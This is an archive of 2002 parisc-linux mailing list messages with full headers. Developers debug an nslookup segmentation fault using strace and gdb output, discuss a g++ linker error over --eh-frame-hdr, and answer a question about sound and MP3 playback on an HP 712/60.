Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14180

Hello,

Is there a problem with nslookup?  Mine returns a segmentation fault.  Thank
you.

Sincerely,
Dennis Faucher
Technical Consultant
Hewlett-Packard Company
https://www.ecardfile.com/id/dennis_faucher (Contact)



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nslookup segmentation fault
Date: Tue, 26 Feb 2002 07:39:41 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20020226153941.GC7416@tausq.org>
References: <2F1E6AB90ECAD311943700A0C9E3B154080038E3@xatl03.atl.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621108 3907 80.91.229.3 (22 Nov 2014 01:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 08:39:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id A87884851
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 08:39:51 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ctkslaaa for parisc-linux@lists.parisc-linux.org; Tue, 26 Feb 2002 08:39:25 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16fjhd-0002aB-00; Tue, 26 Feb 2002 07:39:41 -0800
Content-Disposition: inline
In-Reply-To: <2F1E6AB90ECAD311943700A0C9E3B154080038E3@xatl03.atl.hp.com>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14181

> Is there a problem with nslookup?  Mine returns a segmentation fault.  Thank
> you.

paer[8:38] ~% uname -a               
Linux paer 2.4.16-64-smp #1 SMP Sat Dec 29 02:33:39 MST 2001 parisc64 unknown

paer[8:38] ~% nslookup -silent www.debian.org
Server:         127.0.0.1
Address:        127.0.0.1#53

Non-authoritative answer:
Name:   www.debian.org
Address: 198.186.203.20

what version of kernel/glibc? did you change anything in
/etc/nsswitch.conf?

the last dozen lines or so of a strace might be useful.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc (g++) problem
Date: Tue, 26 Feb 2002 11:20:05 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200202261620.g1QGK5Nu002375@hiauly1.hia.nrc.ca>
References: <20020226043804.GA5069@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621108 3910 80.91.229.3 (22 Nov 2014 01:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:48 +0000 (UTC)
Cc: jeremyd@apptechsys.com, parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 09:20:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62874484C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 09:20:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1QGK7FN002376;
	Tue, 26 Feb 2002 11:20:07 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1QGK5Nu002375;
	Tue, 26 Feb 2002 11:20:05 -0500 (EST)
In-Reply-To: <20020226043804.GA5069@tausq.org> from "Randolph Chung" at Feb 25, 2002 08:38:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14182

> > Suggest trying the debian 3.1 prerelease build.  Search the list to find
> > how to get it.
> 
> something is broken in the debian 3.1 snapshot package,
> unfortunately....

No, the problem is 3.1 was built with a recent version of binutils
which supports --eh-frame-hdr.  This change also involved changing
the way libgcc and the shared version of libgcc were linked with
shared libraries.  Do you recall your report of a build failure of
3.1 linking libstdc++?  My trying to fix this problem lead to a
heated discussion on gcc-patches.  My fix was reverted, then further
problems arose, and a new patch affecting the linkage of libgcc
was installed yesterday.

> legolas[20:35] ~% /usr/lib/gcc-snapshot/bin/g++ -o foo foo.cc 
> /usr/bin/ld: unrecognized option '--eh-frame-hdr'
> /usr/bin/ld: use the --help option for usage information
> collect2: ld returned 1 exit status

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nslookup segmentation fault
Date: Tue, 26 Feb 2002 11:41:51 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20020226194150.GB11598@tausq.org>
References: <2F1E6AB90ECAD311943700A0C9E3B1540804ED28@xatl03.atl.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621108 3912 80.91.229.3 (22 Nov 2014 01:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "FAUCHER,DENNIS (HP-USA,ex1)" <dennis_faucher@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 12:41:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id F072C484E
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 12:41:57 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id raqslaaa for parisc-linux@parisc-linux.org; Tue, 26 Feb 2002 12:41:35 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16fnTz-00033H-00; Tue, 26 Feb 2002 11:41:51 -0800
Content-Disposition: inline
In-Reply-To: <2F1E6AB90ECAD311943700A0C9E3B1540804ED28@xatl03.atl.hp.com>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14183

Neat....

Here's part of Dennis' strace of nslookup:
> m4450dmf:/etc# strace nslookup athp.hp.com
[...]
> rt_sigprocmask(SIG_BLOCK, [HUP INT TERM], NULL, 8) = 0
> getpid()                                = 22574
> socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
> close(3)                                = 0
> socket(PF_INET6, SOCK_STREAM, 0)        = -1 EAFNOSUPPORT (Address family
> not su
> pported by protocol)
> brk(0)                                  = 0x2f000
> brk(0x2f030)                            = 0x2f030
> brk(0x30000)                            = 0x30000
> brk(0x33000)                            = 0x33000
> --- SIGSEGV (Segmentation fault) ---
> +++ killed by SIGSEGV +++

why is it trying to do ipv6?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nslookup segmentation fault
Date: Tue, 26 Feb 2002 16:41:30 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <20020226164130.B5289@systemhalted>
References: <2F1E6AB90ECAD311943700A0C9E3B1540804ED28@xatl03.atl.hp.com> <20020226194150.GB11598@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621109 3914 80.91.229.3 (22 Nov 2014 01:51:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 14:41:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37A60484F
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 14:41:03 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g1QLfU419223;
	Tue, 26 Feb 2002 16:41:30 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020226194150.GB11598@tausq.org>; from randolph@tausq.org on Tue, Feb 26, 2002 at 11:41:51AM -0800
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14184

> Neat....
> 
> Here's part of Dennis' strace of nslookup:
> > m4450dmf:/etc# strace nslookup athp.hp.com
> [...]
> > rt_sigprocmask(SIG_BLOCK, [HUP INT TERM], NULL, 8) = 0
> > getpid()                                = 22574
> > socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
> > close(3)                                = 0
> > socket(PF_INET6, SOCK_STREAM, 0)        = -1 EAFNOSUPPORT (Address family
> > not su
> > pported by protocol)
> > brk(0)                                  = 0x2f000
> > brk(0x2f030)                            = 0x2f030
> > brk(0x30000)                            = 0x30000
> > brk(0x33000)                            = 0x33000
> > --- SIGSEGV (Segmentation fault) ---
> > +++ killed by SIGSEGV +++
> 
> why is it trying to do ipv6?
> 
> randolph
> -- 


I'm feel worried about what brk() is trying to do.

PF_INET==2 and PF_INET6==10 are only a single bit appart :}
Cosmic radiation maybe?

I'm not sure what is going on. Though I tried to build
Bind 8.3.1 on x86 and if failed (need to look into bits/types).

eventlib.c: In function `__evGetNext':
eventlib.c:298: structure has no member named `fds_bits'
eventlib.c:299: structure has no member named `fds_bits'
eventlib.c:300: structure has no member named `fds_bits'

c.




From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nslookup segmentation fault
Date: Tue, 26 Feb 2002 23:08:58 +0100 (CET)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0202262252140.5099-100000@alpha.bocc.de>
References: <20020226164130.B5289@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621109 3916 80.91.229.3 (22 Nov 2014 01:51:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:49 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	<parisc-linux@parisc-linux.org>
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 15:09:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2DB04852
	for <parisc-linux@parisc-linux.org>; Tue, 26 Feb 2002 15:09:17 -0700 (MST)
Original-Received: from pD9E01EDF.dip.t-dialin.net (pD9E01EDF.dip.t-dialin.net [217.224.30.223])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g1QM94V04314;
	Tue, 26 Feb 2002 23:09:04 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20020226164130.B5289@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14185

Hi Carlos,

> I'm feel worried about what brk() is trying to do.

brk() is used to increase the core size. Nothing unusual.

> PF_INET==2 and PF_INET6==10 are only a single bit appart :}
> Cosmic radiation maybe?

Nope. The resolver supports both IPv4 and IPv6. The following just seems 
to be a probe if both AFs are available.

getpid()                                = 2880
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
close(3)                                = 0
socket(PF_INET6, SOCK_STREAM, 0)        = 3
getsockname(3, {sin_family=AF_INET6, sin6_port=htons(0),  
inet_pton(AF_INET6, "::", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0
close(3)                                = 0
brk(0)                                  = 0x2f000
brk(0x2f030)                            = 0x2f030
brk(0x30000)                            = 0x30000
brk(0x33000)                            = 0x33000
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

gdb is even worse:

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/nslookup www.kame.net
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x0
(gdb) bt
Cannot access memory at address 0x0

Looks like yet another glibc related problem. In particular since nslookup 
seems to use pthread (which *does* have issues with the latest glibc):

open("/lib/libpthread.so.0", O_RDONLY)  = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0@`"..., 1024) 
= 1024

Cheers,
--jochen




From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tilo Jandt" <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sound
Date: Tue, 26 Feb 2002 23:40:09 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <001101c1bf16$8bc14750$0801a8c0@epsilon>
References: <Pine.NEB.4.33.0202160643280.23380-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621109 3918 80.91.229.3 (22 Nov 2014 01:51:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 15:39:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B1574850
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 15:39:14 -0700 (MST)
Original-Received: from [195.20.224.220] (helo=mrvdomng1.kundenserver.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16fqFb-0006Ds-00
	for parisc-linux@lists.parisc-linux.org; Tue, 26 Feb 2002 23:39:11 +0100
Original-Received: from [80.136.168.52] (helo=epsilon)
	by mrvdomng1.kundenserver.de with smtp (Exim 3.22 #2)
	id 16fqFb-0003eo-00
	for parisc-linux@lists.parisc-linux.org; Tue, 26 Feb 2002 23:39:11 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14186

Hi,

does anyone get the Sound on a 712/60 work?
Is it possible to play MP3's using XMMS on this system or is it to hard for
it?
Or doesn't Debian support this soundcard at this time ?

cya,
Tilo





From - Thu Nov 08 21:21:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: 26 Feb 2002 23:48:21 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <1014763701.980.8.camel@cube>
References: <Pine.NEB.4.33.0202160643280.23380-100000@www2.scram.de> 
	<001101c1bf16$8bc14750$0801a8c0@epsilon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621110 3922 80.91.229.3 (22 Nov 2014 01:51:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tilo Jandt <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 15:49:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD95016C0.dip.t-dialin.net [217.80.22.192])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5EE74863
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 15:49:00 -0700 (MST)
Original-Received: from localhost.localdomain (cube.fischlustig.de [::ffff:192.168.1.14])
  (IDENT: andi)
  by tentakel.fischlustig.de with esmtp; Tue, 26 Feb 2002 23:48:58 +0100
In-Reply-To: <001101c1bf16$8bc14750$0801a8c0@epsilon>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14187

On Tue, 2002-02-26 at 23:40, Tilo Jandt wrote:
> Hi,
> 
> does anyone get the Sound on a 712/60 work?
> Is it possible to play MP3's using XMMS on this system or is it to hard for
> it?
> Or doesn't Debian support this soundcard at this time ?

playing mp3s on my 712/60 works fine with xmms and mpg123, the cpu is
powerful enough to handle mp3 decoding.

andi





From - Thu Nov 08 21:21:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound
Date: Tue, 26 Feb 2002 15:56:53 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020226225653.616C437CF5@carmen.fc.hp.com>
References: <Pine.NEB.4.33.0202160643280.23380-100000@www2.scram.de>  
 <001101c1bf16$8bc14750$0801a8c0@epsilon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621110 3926 80.91.229.3 (22 Nov 2014 01:51:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Tilo Jandt" <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 26 15:56:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50EEC4859
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Feb 2002 15:56:55 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel9.hp.com (Postfix) with ESMTP
	id DB123805354; Tue, 26 Feb 2002 17:56:53 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 616C437CF5; Tue, 26 Feb 2002 15:56:53 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Tilo Jandt" <tilo@jandt-online.net> 
   of "Tue, 26 Feb 2002 23:40:09 +0100." <001101c1bf16$8bc14750$0801a8c0@epsilon> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14188

"Tilo Jandt" writes...

> Hi,
> 
> does anyone get the Sound on a 712/60 work?

Yes.

> Is it possible to play MP3's using XMMS on this system or is it to hard for
> it?

Yes, no.

> Or doesn't Debian support this soundcard at this time ?

